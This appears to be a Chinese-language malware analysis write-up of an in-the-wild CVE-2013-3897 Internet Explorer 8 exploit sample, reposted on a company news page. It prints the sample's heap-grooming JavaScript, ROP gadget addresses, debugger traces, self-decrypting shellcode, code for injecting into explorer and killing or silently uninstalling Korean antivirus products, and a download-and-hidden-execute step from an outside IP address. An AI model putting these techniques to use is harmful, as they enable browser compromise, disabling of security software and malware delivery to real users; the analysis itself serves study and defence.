企业资讯
- 企业新闻
- 行业文章

CVE-2013-3897样本分析学习笔记

之前，看到FireEye上的CVE-2013-3893分析，看利用方式比较类似，以为是同一个，分析学习下，发现导致问题的对象不一致，也没有利用ms-help加载office的hxdl构造ROP，后来在BinVul论坛上看到有人发了该样本，才知道是CVE-2013-3897。不正确地方还请扶正。

1. 概述

该样本攻击对象为韩国和日本的WinXP IE8用户，利用了IE8的CDisplayPointer对象的一个Use-After-Free漏洞，利用DEPS HeapSpray技术进行堆喷射，通过msvcrt.dll构造ROP链绕过DEP进行利用。成功利用后，会注入Shellcode到explorer 进程，尝试检查结束Kaspersky、AhnLab V3Lite、AhnLab V3 365 Clinic、NaverVaccine、ALYac安全软件，之后从网络服务器上下载执行伪造成GIF的恶意程序。

2. 样本分析

1) 通过DIV元素设置和清除title属性字符串，大量的申请释放大小为0×48的堆空间，激活LFH机制，防止cache分配空间，用0×14141414填充，作为后续vtable jmp

 var vault=new Array(); var str=unescape(“% u1414% u1414″); while (str.length &lt; 0×50) str=str+str; str=str.substr(0,(0×48-2)/2); for (i=0;i&lt;2000;i++) { vault.push(document.createElement(“div”)); vault[i].setAttribute(“title”,str); } for (i=1000;i&lt;2000;i++) vault[i].setAttribute(“title”,”"); CollectGarbage();

var vault=new Array();

var str=unescape(“% u1414% u1414″);

while (str.length < 0×50) str=str+str;

str=str.substr(0,(0×48-2)/2);

for (i=0;i<2000;i++) {

vault.push(document.createElement(“div”));

vault[i].setAttribute(“title”,str);

}

for (i=1000;i<2000;i++) vault[i].setAttribute(“title”,“”); CollectGarbage();

2) 检查用户电脑环境是否满足: Windows XP + IE8 + 韩国/日本

 if(navigator.appName.indexOf(“Microsoft Internet Explorer”) == -1) {att = 0;} if(navigator.userAgent.indexOf(“Windows NT 5.1″) == -1) {att = 0;} if(navigator.userAgent.indexOf(“MSIE 8.0″) == -1) {att = 0;} if(navigator.systemLanguage == navigator.userLanguage) { if(navigator.systemLanguage.indexOf(“ko”) != -1) {lang = 1;} else if(navigator.systemLanguage.indexOf(“ja”) != -1) {lang = 1;}

if(navigator.appName.indexOf(“Microsoft Internet Explorer”) == -1) {att = 0;}

if(navigator.userAgent.indexOf(“Windows NT 5.1″) == -1) {att = 0;}

if(navigator.userAgent.indexOf(“MSIE 8.0″) == -1) {att = 0;}

if(navigator.systemLanguage == navigator.userLanguage) {

if(navigator.systemLanguage.indexOf(“ko”) != -1) {lang = 1;}

else if(navigator.systemLanguage.indexOf(“ja”) != -1) {lang = 1;}

3) 如果为韩国日本用户，替换为msvcrt.dll对应的ROP链，然后进行HeapSpray

 var ate1 = 0x77BD18D3 ;var atz1 = 0x77BCEF5B ; var co1 = 0x77BCF519 ; var pco1 = 0x77BD3E25 ; var jtc1 = 0x77BE746A ; var vPP1 = 0x77BC1120 ; if(lang == 1) { ate = ate1; atz = atz1; co = co1; pco = pco1; jtc = jtc1; vPP = vPP1;

var ate1 = 0x77BD18D3 ;var atz1 = 0x77BCEF5B ; var co1 = 0x77BCF519 ;

var pco1 = 0x77BD3E25 ; var jtc1 = 0x77BE746A ; var vPP1 = 0x77BC1120 ;

if(lang == 1) { ate = ate1; atz = atz1; co = co1; pco = pco1; jtc = jtc1; vPP = vPP1;

 bu jscript!JsAtan2 “j (poi(poi(esp+14)+18) == 0×999) ‘.printf /”DEBUG: %mu/”, poi(poi(poi(esp+14)+8)+8); .echo; g’;” 0:008&gt; g DEBUG: before unselect DEBUG: after unselect DEBUG: before select DEBUG: before swap DEBUG: after swap DEBUG: before unselect DEBUG: after unselect (418.76c): Access violation – code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=14141414 ebx=04c25dbc ecx=030dc200 edx=000000c8 esi=030dc248 edi=80004002 eip=77bd18d5 esp=030dc1e4 ebp=030dc218 iopl=0         nv up ei pl zr na pe nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246 VERSION!VerpQueryValue+0×54: 77bd18d5 018d45e0508d    add     dword ptr [ebp-72AF1FBBh],ecx ss:0023:905ea25d=????????

bu jscript!JsAtan2 “j (poi(poi(esp+14)+18) == 0×999) ‘.printf /”DEBUG: %mu/”, poi(poi(poi(esp+14)+8)+8); .echo; g’;” 0:008> g

DEBUG: before unselect

DEBUG: after unselect

DEBUG: before select

DEBUG: before swap

DEBUG: after swap

DEBUG: before unselect

DEBUG: after unselect

(418.76c): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=14141414 ebx=04c25dbc ecx=030dc200 edx=000000c8 esi=030dc248 edi=80004002

eip=77bd18d5 esp=030dc1e4 ebp=030dc218 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246

VERSION!VerpQueryValue+0×54:

77bd18d5 018d45e0508d add dword ptr [ebp-72AF1FBBh],ecx ss:0023:905ea25d=????????

2) 由于不是韩国或日本的windows xp系统，跳转到77bd18d5(本应该msvcrt.dll的)指向的ROP链不正确，触发了异常, 修改跳转地址，重新调试

 (8d0.ca0): Access violation – code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=0494f48c ecx=030dc200 edx=000000c8 esi=030dc248 edi=80004002 eip=6362746c esp=030dc1e8 ebp=030dc218 iopl=0         nv up ei pl zr na pe nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246 mshtml!QIClassID+0×45: 6362746c ff10            call    dword ptr [eax]      ds:0023:41414141=???????? 0:008&gt; kb ChildEBP RetAddr  Args to Child 030dc218 638cbbf7 0494f48c 3050f4a5 11cf98b5 mshtml!QIClassID+0×45 030dc290 638cab07 00195380 0494f48c 00000000 mshtml!CDoc::ScrollPointerIntoView+0xc5 030dc2a4 639d115f 0494f470 0020deb8 00000000 mshtml!CDisplayPointer::ScrollIntoView+0×21 030dc2c4 639d10bd 030dc354 030dc390 00000002 mshtml!CHTMLEditor::SelectRangeInternal+0×98 030dc2dc 639d7416 0020deb8 030dc354 030dc390 mshtml!CHTMLEditor::SelectRange+0x1a

(8d0.ca0): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=41414141 ebx=0494f48c ecx=030dc200 edx=000000c8 esi=030dc248 edi=80004002

eip=6362746c esp=030dc1e8 ebp=030dc218 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246

mshtml!QIClassID+0×45:

6362746c ff10 call dword ptr [eax] ds:0023:41414141=????????

0:008> kb

ChildEBP RetAddr Args to Child

030dc218 638cbbf7 0494f48c 3050f4a5 11cf98b5 mshtml!QIClassID+0×45

030dc290 638cab07 00195380 0494f48c 00000000 mshtml!CDoc::ScrollPointerIntoView+0xc5

030dc2a4 639d115f 0494f470 0020deb8 00000000 mshtml!CDisplayPointer::ScrollIntoView+0×21

030dc2c4 639d10bd 030dc354 030dc390 00000002 mshtml!CHTMLEditor::SelectRangeInternal+0×98

030dc2dc 639d7416 0020deb8 030dc354 030dc390 mshtml!CHTMLEditor::SelectRange+0x1a

3) 此时对象空间已经被DIV的title属性值的str字符串所填充

 0:008&gt; dds ebx 0494f48c  41414141 0494f490  41414141 0494f494  41414141 0494f498  41414141 0494f49c  41414141  0:008&gt; !heap -p -a ebx address 0494f48c found in _HEAP @ 140000 HEAP_ENTRY Size Prev Flags    UserPtr UserSize – state 0494f468 000c 0000  [07]   0494f470    00048 – (busy) Trace: 23a0 7c98cf9a ntdll!RtlDebugAllocateHeap+0x000000e1 7c969564 ntdll!RtlAllocateHeapSlowly+0×00000044 7c938f01 ntdll!RtlAllocateHeap+0x00000e64 6365173e mshtml!_HeapAllocString+0×00000051    &lt;—— !!! 63651871 mshtml!CAttrValue::InitVariant+0×00000154

0:008> dds ebx

0494f48c 41414141

0494f490 41414141

0494f494 41414141

0494f498 41414141

0494f49c 41414141

0:008> !heap -p -a ebx

address 0494f48c found in

_HEAP @ 140000

HEAP_ENTRY Size Prev Flags UserPtr UserSize - state

0494f468 000c 0000 [07] 0494f470 00048 - (busy)

Trace: 23a0

7c98cf9a ntdll!RtlDebugAllocateHeap+0x000000e1

7c969564 ntdll!RtlAllocateHeapSlowly+0×00000044

7c938f01 ntdll!RtlAllocateHeap+0x00000e64

6365173e mshtml!_HeapAllocString+0×00000051 <––– !!!

63651871 mshtml!CAttrValue::InitVariant+0×00000154

看下问题代码的上下文, 在进行CLSID为_IID_IProxyManager的接口查询时，使用被释放的对象指针触发异常

 .text:63627454   and     dword ptr [esi], 0 .text:63627457   mov     eax, [ebx] .text:63627459   and     [ebp+pInterface], 0 .text:6362745D   lea     ecx, [ebp+pInterface] .text:63627460   push    ecx .text:63627461   push    offset _IID_IProxyManager .text:63627466   push    ebx .text:63627467   mov     edi, 80004002h .text:6362746C   call    dword ptr [eax]               ; … .text:638CBBC8   mov     [esp+58h+var_38], eax .text:638CBBCC   mov     eax, [esp+58h+var_18] .text:638CBBD0   lea     eax, [eax+ecx+2] .text:638CBBD4   mov     [esp+58h+var_30], eax .text:638CBBD8   lea     eax, [esp+58h+local_pI_CMarkupPointer] .text:638CBBDC   push    eax                           ; void ** .text:638CBBDD   mov     [esp+5Ch+var_34], esi .text:638CBBE1   sub     esp, 10h .text:638CBBE4   mov     edi, esp .text:638CBBE6   push    [ebp+arg_ICMarkupPointer]     ; struct IUnknown *      &lt;—- !!! .text:638CBBE9   mov     esi, offset _CLSID_CMarkupPointer .text:638CBBEE   movsd .text:638CBBEF   movsd .text:638CBBF0   movsd .text:638CBBF1   movsd .text:638CBBF2   call    ?QIClassID@@YGJPAUIUnknown@@U_GUID@@PAPAX@Z ; QIClassID(IUnknown *,_GUID,void * *) .text:638CBBF7   test    eax, eax … .text:638CBB50                 push    eax             ; Dst .text:638CBB51                 call    _memset .text:638CBB56                 add     esp, 0Ch .text:638CBB59                 lea     eax, [esp+58h+Dst] .text:638CBB5D                 push    eax             ; int .text:638CBB5E                 push    [ebp+arg_ZERO]  ; int .text:638CBB61                 push    [ebp+arg_ICMarkupPointer] ; struct IUnknown *        &lt;— !!! .text:638CBB64                 call    ?GetLineInfo@CDoc@@QAEJPAUIMarkupPointer@@HPAU_HTMLPtrDispInfoRec@@@Z ; CDoc::GetLineInfo(IMarkupPointer *,int,_HTMLPtrDispInfoRec *) .text:638CBB69                 lea     eax, [ebx+1F0h] .text:638CBB6F                 lea     edi, [esp+58h+var_44] …

.text:63627454 and dword ptr [esi], 0

.text:63627457 mov eax, [ebx]

.text:63627459 and [ebp+pInterface], 0

.text:6362745D lea ecx, [ebp+pInterface]

.text:63627460 push ecx

.text:63627461 push offset _IID_IProxyManager

.text:63627466 push ebx

.text:63627467 mov edi, 80004002h

.text:6362746C call dword ptr [eax] ;

...

.text:638CBBC8 mov [esp+58h+var_38], eax

.text:638CBBCC mov eax, [esp+58h+var_18]

.text:638CBBD0 lea eax, [eax+ecx+2]

.text:638CBBD4 mov [esp+58h+var_30], eax

.text:638CBBD8 lea eax, [esp+58h+local_pI_CMarkupPointer]

.text:638CBBDC push eax ; void **

.text:638CBBDD mov [esp+5Ch+var_34], esi

.text:638CBBE1 sub esp, 10h

.text:638CBBE4 mov edi, esp

.text:638CBBE6 push [ebp+arg_ICMarkupPointer] ; struct IUnknown * <–– !!!

.text:638CBBE9 mov esi, offset _CLSID_CMarkupPointer

.text:638CBBEE movsd

.text:638CBBEF movsd

.text:638CBBF0 movsd

.text:638CBBF1 movsd

.text:638CBBF2 call ?QIClassID@@YGJPAUIUnknown@@U_GUID@@PAPAX@Z ; QIClassID(IUnknown *,_GUID,void * *)

.text:638CBBF7 test eax, eax

...

.text:638CBB50 push eax ; Dst

.text:638CBB51 call _memset

.text:638CBB56 add esp, 0Ch

.text:638CBB59 lea eax, [esp+58h+Dst]

.text:638CBB5D push eax ; int

.text:638CBB5E push [ebp+arg_ZERO] ; int

.text:638CBB61 push [ebp+arg_ICMarkupPointer] ; struct IUnknown * <–- !!!

.text:638CBB64 call ?GetLineInfo@CDoc@@QAEJPAUIMarkupPointer@@HPAU_HTMLPtrDispInfoRec@@@Z ; CDoc::GetLineInfo(IMarkupPointer *,int,_HTMLPtrDispInfoRec *)

.text:638CBB69 lea eax, [ebx+1F0h]

.text:638CBB6F lea edi, [esp+58h+var_44] ...

在 call CDoc::GetLineInfo以及Call QIClassID处下断点

 0:008&gt; bl … 2 d 638cbb64     0001 (0001)  0:**** mshtml!CDoc::ScrollPointerIntoView+0×32 3 d 638cbbf2     0001 (0001)  0:**** mshtml!CDoc::ScrollPointerIntoView+0xc0

0:008> bl

...

2 d 638cbb64 0001 (0001) 0:**** mshtml!CDoc::ScrollPointerIntoView+0×32

3 d 638cbbf2 0001 (0001) 0:**** mshtml!CDoc::ScrollPointerIntoView+0xc0

4) 在DEBUG信息swap时激活

 0:008&gt; be 2,3 0:008&gt; g DEBUG: after swap eax=030db578 ebx=030db528 ecx=003bb480 edx=633b5f09 esi=049f5518 edi=030db518 eip=633b5f09 esp=030db4d8 ebp=030db53c iopl=0         nv up ei pl zr na pe nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246 jscript!JsAtan2: 633b5f09 8bff            mov     edi,edi  0:008&gt; g Breakpoint 2 hit eax=030dc264 ebx=001938f0 ecx=00000000 edx=00000000 esi=04b4edd0 edi=04b4ede0 eip=638cbb64 esp=030dc22c ebp=030dc290 iopl=0         nv up ei pl nz ac po nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212 mshtml!CDoc::ScrollPointerIntoView+0×32: 638cbb64 e8b9faffff      call    mshtml!CDoc::GetLineInfo (638cb622)

0:008> be 2,3

0:008> g

DEBUG: after swap

eax=030db578 ebx=030db528 ecx=003bb480 edx=633b5f09 esi=049f5518 edi=030db518

eip=633b5f09 esp=030db4d8 ebp=030db53c iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

jscript!JsAtan2:

633b5f09 8bff mov edi,edi

0:008> g

Breakpoint 2 hit

eax=030dc264 ebx=001938f0 ecx=00000000 edx=00000000 esi=04b4edd0 edi=04b4ede0

eip=638cbb64 esp=030dc22c ebp=030dc290 iopl=0 nv up ei pl nz ac po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212

mshtml!CDoc::ScrollPointerIntoView+0×32:

638cbb64 e8b9faffff call mshtml!CDoc::GetLineInfo (638cb622)

导致问题产生的可能是CDisplayPointer对象，利用代码也表明触发问题的对象在winxp IE8下大小为0×48，与CDisplayPointer一致
此时还没有被释放

 0:008&gt; !heap -p -a poi(esp) address 04b2445c found in _HEAP @ 140000 HEAP_ENTRY Size Prev Flags    UserPtr UserSize – state 04b24438 000c 0000  [07]   04b24440    00048 – (busy) mshtml!CDisplayPointer::`vftable’               &lt;———- Trace: 359e 7c98cf9a ntdll!RtlDebugAllocateHeap+0x000000e1 7c969564 ntdll!RtlAllocateHeapSlowly+0×00000044 7c938f01 ntdll!RtlAllocateHeap+0x00000e64 635f047a mshtml!CDoc::CreateDisplayPointer+0×00000024    &lt;———– 63a07165 mshtml!CSelectTracker::InitPointers+0×00000019 635cb78e mshtml!CSelectionManager::SetCurrentTracker+0×00000026 639dc0bf mshtml!CSelectionManager::Select+0×00000761 639d113a mshtml!CHTMLEditor::SelectRangeInternal+0×00000073 639d10bd mshtml!CHTMLEditor::SelectRange+0x0000001a 639d7416 mshtml!CHTMLEditorProxy::SelectRange+0×00000025 6389c886 mshtml!CDoc::Select+0x0000002f

0:008> !heap -p -a poi(esp)

address 04b2445c found in

_HEAP @ 140000

HEAP_ENTRY Size Prev Flags UserPtr UserSize - state

04b24438 000c 0000 [07] 04b24440 00048 - (busy)

mshtml!CDisplayPointer::`vftable‘ <–––––

Trace: 359e

7c98cf9a ntdll!RtlDebugAllocateHeap+0x000000e1

7c969564 ntdll!RtlAllocateHeapSlowly+0×00000044

7c938f01 ntdll!RtlAllocateHeap+0x00000e64

635f047a mshtml!CDoc::CreateDisplayPointer+0×00000024 <–––––-

63a07165 mshtml!CSelectTracker::InitPointers+0×00000019

635cb78e mshtml!CSelectionManager::SetCurrentTracker+0×00000026

639dc0bf mshtml!CSelectionManager::Select+0×00000761

639d113a mshtml!CHTMLEditor::SelectRangeInternal+0×00000073

639d10bd mshtml!CHTMLEditor::SelectRange+0x0000001a

639d7416 mshtml!CHTMLEditorProxy::SelectRange+0×00000025

6389c886 mshtml!CDoc::Select+0x0000002f

4. Shellcode分析

1) 换成日本window xp, 通过在msvcrt上构造ROP，调用VirtualProtect来过DEP

3. 漏洞分析

1) 样本本身带了比较多的调试信息, 利用样本已有调试信息，先观察下exp执行的过程

 0:008&gt; u 0x77BD18D3 msvcrt!type_info::operator==+0x3b: 77bd18d3 94              xchg    eax,esp 77bd18d4 c15e8bc1        rcr     dword ptr [esi-75h],0C1h 77bd18d8 5d              pop     ebp 77bd18d9 c20400          ret     4 … 0:008&gt; u 0x77BE746A msvcrt!_SEH_epilog+0xf: 77be746a 51              push    ecx        ; ecx = ptr kernel32!VirtualProtect 77be746b c3              ret            ; call kernel32!VirTualProtect

0:008> u 0x77BD18D3

msvcrt!type_info::operator==+0x3b:

77bd18d3 94 xchg eax,esp

77bd18d4 c15e8bc1 rcr dword ptr [esi-75h],0C1h

77bd18d8 5d pop ebp

77bd18d9 c20400 ret 4

...

0:008> u 0x77BE746A

msvcrt!_SEH_epilog+0xf:

77be746a 51 push ecx ; ecx = ptr kernel32!VirtualProtect

77be746b c3 ret ; call kernel32!VirTualProtect

然后跳转到1414148c开始执行shellcode，经过一些nop指令后，进行XOR 0×94自解密

 141414a9 4a              dec     edx 141414aa 33c9            xor     ecx,ecx 141414ac 6681c1f30c      add     cx,0CF3h 141414b1 80340a94        xor     byte ptr [edx+ecx],94h 141414b5 e2fa            loop    141414b1

141414a9 4a dec edx

141414aa 33c9 xor ecx,ecx

141414ac 6681c1f30c add cx,0CF3h

141414b1 80340a94 xor byte ptr [edx+ecx],94h

141414b5 e2fa loop 141414b1

2) 之后会注入shellcode代码到explore进程

 hwnd = User32!FindWindowA(classname: “Progman”, windowname:”Program Manager”);      &lt;– explorer.exe GetWindowThreadProcessId(hwnd, &amp;pid_explorer); hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid_explorer); hMem = VirtualAllocEx(hProc, NULL, 4096, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProc, hMem, 14141796, 00000A10, 00000000); CreateRemoteThread(hProc, NULL, 0, 6390000,  NULL, 0); kernel32!ExitProcess

hwnd = User32!FindWindowA(classname: “Progman”, windowname:“Program Manager”); <– explorer.exe

GetWindowThreadProcessId(hwnd, &pid_explorer);

hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid_explorer);

hMem = VirtualAllocEx(hProc, NULL, 4096, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);

WriteProcessMemory(hProc, hMem, 14141796, 00000A10, 00000000);

CreateRemoteThread(hProc, NULL, 0, 6390000, NULL, 0);

kernel32!ExitProcess

3) 注入到explore后，首先通过检查是否存在”c:￥Program Files￥Kaspersky Lab”目录(日本操作系统路径显示为￥)，来
判断是否安装卡巴斯基，如果不存在继续执行。

4) sleep 10分钟后，杀软检测函数根据参数1-4执行不同杀软的判断结束操作

参数1时，检测是否安装安博士v3杀毒软件，如果安装调用其自身的卸载程序，然后通过获取卸载确定按钮，通过模拟鼠标
点击来进行卸载。

 RegOpenKeyExA(HKEY_LOCAL_MACHINE, “SOFTWARE￥￥AhnLab￥￥V3Lite”, 0, KEY_READ, pRes) RegQueryValueExA(hKeym “InstallPath”, 0, REG_SZ, pData, 255); ShellExecuteA(NULL, “open”, “installpath￥Uninst.exe”, “Uninstall”, 0, 0) hwnd = FindWindowA(NULL, “V3 Lite f”) SetWindowPos(hWnd, HWND_BOTTOM, 0, 0, 100, 200, SWP_HIDEWINDOW) FindWindowExA(hParent, hChildAfter, “Button”, “f”) PostMessageA(hWnd, WM_LBUTTONDOWN, 0, 0) PostMessageA(hWnd, WM_LBUTTONUP, 0, 0)

RegOpenKeyExA(HKEY_LOCAL_MACHINE, “SOFTWARE￥￥AhnLab￥￥V3Lite”, 0, KEY_READ, pRes)

RegQueryValueExA(hKeym “InstallPath”, 0, REG_SZ, pData, 255);

ShellExecuteA(NULL, “open”, “installpath￥Uninst.exe”, “Uninstall”, 0, 0)

hwnd = FindWindowA(NULL, “V3 Lite f”)

SetWindowPos(hWnd, HWND_BOTTOM, 0, 0, 100, 200, SWP_HIDEWINDOW)

FindWindowExA(hParent, hChildAfter, “Button”, “f”)

PostMessageA(hWnd, WM_LBUTTONDOWN, 0, 0)

PostMessageA(hWnd, WM_LBUTTONUP, 0, 0)

参数2时，检测是否安装AhnLab V3 365 Clinic。参数4时，检测是否安装ESTsoft ALYac。如果安装卸载方式同上

参数3时，检测是否安装NaverVaccine安全软件，如果存在，通过ntsd尝试强制结束对应的进程

 WinExec(“ntsd -c q -pn NVCAgent.npc”, SW_HIDE); WinExec(“ntsd -c q -pn Nsavsvc.npc”, SW_HIDE)

1 2	WinExec(“ntsd -c q -pn NVCAgent.npc”, SW_HIDE); WinExec(“ntsd -c q -pn Nsavsvc.npc”, SW_HIDE)

5) 之后，调用URLDownloadToFileA从http://1.234.31.154/mii/fird.gif下载文件保存到临时目录为main001.gif，如果main001.gif
满足大于1KB小于500KB，则会调用WinExec隐藏执行。

6) 恶意程序分析时URL已经失效，没有分析，该处有对该恶意文件的分析

参考
————

http://blog.vulnhunt.com/index.php/2013/12/16/cve-2013-3897_analysis/
http://www.fireeye.com/blog/technical/cyber-exploits/2013/09/operation-deputydog-part-2-zero-day-exploit-analysis-cve-2013-3893.html
http://blog.spiderlabs.com/2013/10/another-day-another-ie-zero-day.html
https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/

[via@南京瀚海源]

鸿大千秋网站建设团队敬上